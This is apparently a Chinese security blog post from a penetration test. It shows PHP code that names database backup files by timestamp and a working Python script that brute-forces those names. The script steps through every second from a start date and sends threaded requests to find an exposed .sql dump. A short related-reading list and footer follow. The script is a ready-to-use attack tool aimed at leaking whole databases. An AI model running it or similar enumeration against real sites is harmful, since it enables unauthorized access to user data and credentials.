• 利用Python爆破数据库备份文件


      某次测试过程中,发现PHP备份功能代码如下:

    // 根据时间生成备份文件名
    $file_name = 'D' . date('Ymd') . 'T' . date('His');
    $sql_file_name = $file_name . '.sql';

      那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

    Python测试脚本:

    简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import time
    import requests
    import threadpool
    
    date= "2018-01-18 10:00:00"  //开始时间
    datelist=[]
    
    def gettime():
        timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
        time1= int(time.mktime(timeArray))
        time2=int(time.time())
        for i in range(time1,time2):
            time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
            datelist.append(time3)
        return datelist
    def req(str):           
        try:
            str1,str2=str.split()
            date1="D"+str1+"T"+str2
            url="http://127.0.0.1/data/backup/"+date1+".sql"
            s=requests.get(url,timeout=5)
            if  s.status_code==200:
                print u"数据库备份文件爆破成功:"
                print url
        except:
            pass
    
    if __name__ == '__main__':
        list=gettime()
        pool = threadpool.ThreadPool(1000) 
        requ = threadpool.makeRequests(req,list) 
        [pool.putRequest(req) for req in requ] 
        pool.wait()

    Python 测试截图:

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考链接:

    python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

  • 相关阅读:
    有是JSF的一个小问题,搞了我两天!从周五到周二
    MyFaces Tree2控件使用 From http://blog.163.com/net_wood/blog
    使用JSF的Selectonemenu
    SSO摘抄
    用于快速将 Web 应用程序集成到 WebSphere Portal 中的选项
    Lua 公历转农历算法
    编程语言适用场合。。。
    了解grep、vim的查找 和正则表达式
    程序员知识资产的投资
    铁道部新客票系统设计(一)
  • 原文地址:https://www.cnblogs.com/xiaozi/p/8309884.html
Copyright © 2020-2023  润新知